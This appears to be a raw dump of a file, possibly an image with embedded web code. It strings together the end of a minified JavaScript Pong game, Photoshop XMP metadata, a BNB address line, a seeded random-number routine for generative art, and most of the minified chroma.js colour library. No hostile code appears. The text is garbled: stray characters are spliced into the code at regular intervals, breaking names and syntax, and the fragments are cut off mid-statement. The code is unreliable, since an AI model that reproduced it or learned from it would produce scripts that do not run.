y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(lM{
){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:b0db53a2-b8db-498a-9632-83b5f082f5ae" xmpMM:DocumentID="xmp.did:C20E3134A4E311EDBD49B1772AB5B2F1" xmpMM:InstanceID="xmp.iid:C20E3133A4E311EDBD49B1772AB5B2F1" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:ddfa6129-0a5d-4676-8f0f-1dd56542dd08" stRef:documentID="xmp.did:b0db53a2-b8db-498a-9632-83b5f082f5ae"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
DjB=:BNB.BNB:bnb1udyqg067wr27pdnteparr3cvy365hmc6aa6z5k:47123739:te:0
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
